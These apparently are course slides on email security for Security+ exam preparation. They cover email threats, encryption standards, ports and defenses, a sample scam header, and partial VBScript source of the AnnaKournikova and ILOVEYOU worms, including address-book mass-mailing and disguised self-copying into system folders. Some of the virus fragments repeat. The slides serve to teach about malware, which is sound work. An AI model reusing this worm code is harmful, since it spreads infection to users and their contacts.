

	<p>CIS-162</p> <p>Introduction to Network Security Comptia Security+ Exam Domain 2</p> <p style="text-align: center;">Email Security</p> <p style="font-size: small;">Trang D. Nguyen</p>

	<p>Email Vulnerabilities</p>
	<ul style="list-style-type: none"> • Mostly in plain text <ul style="list-style-type: none"> • Eavesdropping • Data manipulation • Malware <ul style="list-style-type: none"> • Virus <ul style="list-style-type: none"> • ILoveYou • Worms use address book to propagate <ul style="list-style-type: none"> • ILoveU <ul style="list-style-type: none"> • Cloggs mail servers • Damage MP3 and JPEG files • Sircam damage random files • Trojan horse <p style="font-size: small;">Trang D. Nguyen</p>

	<p>Email Vulnerabilities</p>
	<ul style="list-style-type: none"> • SPAM <ul style="list-style-type: none"> • 1994 by lawyers posting to newsgroup • SCAM • VBScript • HTML embedded script • HTA (HTML Application) • HOAX (Social Engineering) • Chain letter (Social Engineering) <p style="font-size: small;">Trang D. Nguyen</p>

	<h3>Email Vulnerabilities</h3>
	<ul style="list-style-type: none"> • Information leaks • Password Guessing • Spoofing and masquerading • Man-in-the-middle • Session hijacking <p style="font-size: small; margin-top: 20px;">Trang D. Nguyen</p>

	<h3>Email Encryption</h3>
	<ul style="list-style-type: none"> • Email encryption <ul style="list-style-type: none"> • S/MIME (Secure/Multipurpose Internet Mail Extension) <ul style="list-style-type: none"> • Developed by RSA Security • Uses RSA encryption • Use X.509 certificate • RC2 and 3DES Symmetric Key Encryption • PGP (Pretty Good Privacy) <ul style="list-style-type: none"> • Support PKI (X.509, Active Directory, eDirectory) • IDEA (128), 3DES (168), Twofish and CAST(128) Symmetric Key Encryption • Diffie-Hellman and RSA (according to Sybex) • Web of trust to validate public key pairs <p style="font-size: small; margin-top: 20px;">Trang D. Nguyen</p>

	<h3>Email Encryption</h3>
	<ul style="list-style-type: none"> • Secure email provides <ul style="list-style-type: none"> • Confidentiality • Authentication • Integrity • Nonrepudiation <p style="font-size: small; margin-top: 20px;">Trang D. Nguyen</p>

	Email Standard Ports and SSL Ports
	<ul style="list-style-type: none"> • SMTP (25) + SSL (465) <ul style="list-style-type: none"> • Outgoing mail • Transfer mail between servers • POP3 (110) + SSL (995) <ul style="list-style-type: none"> • Deliver incoming mail only • IMAP (143) + SSL (993) <ul style="list-style-type: none"> • Connect to email server • Outlook / Outlook Express clients
	Trang D. Nguyen

	Email Security Solutions
	<ul style="list-style-type: none"> • Encryption • User Education <ul style="list-style-type: none"> • Do not open email from unknown sender • Use preview pane • Danger of attachment with long name • Virus scanning email servers and hosts • Real Time Black Hole List (Black List) • Digital certificates
	Trang D. Nguyen

	Nigerian Scam
	<pre> Received: from mta05.onebox.com (mta05.onebox.com [64.68.77.148]) by spf8.us4.outblaze.com (8.11.0/8.11.0) with ESMTP id fA3KpQC19262 for <xxxxxxxxxx>; Sat, 3 Nov 2001 20:51:26 GMT Received: from onebox.com ([10.1.111.11]) by mta05.onebox.com (InterMail VM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011103205125.CLYE306.mta05.onebox.com@onebox.com>; Sat, 3 Nov 2001 12:51:25 -0800 Received: from [63.103.142.148] by onebox.com with HTTP; Sat, 03 Nov 2001 12:51:25 - 0800 Date: Sat, 03 Nov 2001 12:51:25 -0800 Subject: BUSINESS ASSISTANCE. From: 'Alexander Musa' <alexmus@onebox.com> To: alexmus@37.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Message-Id: <20011103205125.CLYE306.mta05.onebox.com@onebox.com> FROM: MR ALEX MUSA TO: THE PRESIDENT/CEO </pre>
	Trang D. Nguyen

AnnaKournikova Part 2	
	<pre> Do If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then Set newFile = FileSystemObject.createtextfile(wscript.scriptfullname, True) newFile.write thisScriptText newFile.Close End If Loop Function doMail() On Error Resume Next Set OutlookApp = CreateObject("Outlook.Application") If OutlookApp = "Outlook" Then Set MAPINamespace = OutlookApp.GetNamespace("MAPI") Set AddressLists = MAPINamespace.AddressLists Trang D. Nguyen </pre>

AnnaKournikova Part 3	
	<pre> For Each address In AddressLists If address.AddressEntries.Count <> 0 Then entryCount = address.AddressEntries.Count For i = 1 To entryCount Set newItem = OutlookApp.CreateItem(0) Set currentAddress = address.AddressEntries(i) newItem.To = currentAddress.Address newItem.Subject = "Here you have, :o)" newItem.Body = "Hi: " & vbCrLf & "Check This!" & vbCrLf & "" set attachments = newItem.Attachments attachments.Add FileSystemObject.GetSpecialFolder(0) &"\AnnaKournikova.jpg.vbs" newItem.DeleteAfterSubmit = True If newItem.To <> "" Then newItem.Send WScript.Shell.regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function Trang D. Nguyen </pre>

ILOVEYOU Virus Part 1	
	<pre> rem Comment String rem By: Author <SNIPPET> On Error Resume Next dim fso,directory,dirwin,dirtemp,eg,ctr,file,vbscopy,dow eg="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullName,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") Trang D. Nguyen </pre>

	ILOVEYOU Virus Part 2
	<pre> if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.SpecialFolder(0) Set dirsystem = fso.SpecialFolder(1) Set dirtemp = fso.SpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\This_is_the_MS_Kernel_32.vbs") c.Copy(dirwin&"\Win32DLL-dot-vbs") c.Copy(dirsystem&"\LOVE-hyphen-LETTER-hyphen-FOR-hyphen-YOU-dot-TXT-dot-vbs") regruns() html() spreadtoemail() listadriv() end sub </pre> <p style="text-align: right;">Trang D. Nguyen</p>

	ILOVEYOU Virus Part 3
	<pre> rem Comment String rem by: Author <SNIPPET> On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullName,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") </pre> <p style="text-align: right;">Trang D. Nguyen</p>

	ILOVEYOU Virus Part 4
	<pre> if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.SpecialFolder(0) Set dirsystem = fso.SpecialFolder(1) Set dirtemp = fso.SpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\This_is_the_MS_Kernel_32.vbs") c.Copy(dirwin&"\Win32DLL-dot-vbs") c.Copy(dirsystem&"\LOVE-hyphen-LETTER-hyphen-FOR-hyphen-YOU-dot-TXT-dot-vbs") regruns() html() spreadtoemail() listadriv() end sub </pre> <p style="text-align: right;">Trang D. Nguyen</p>
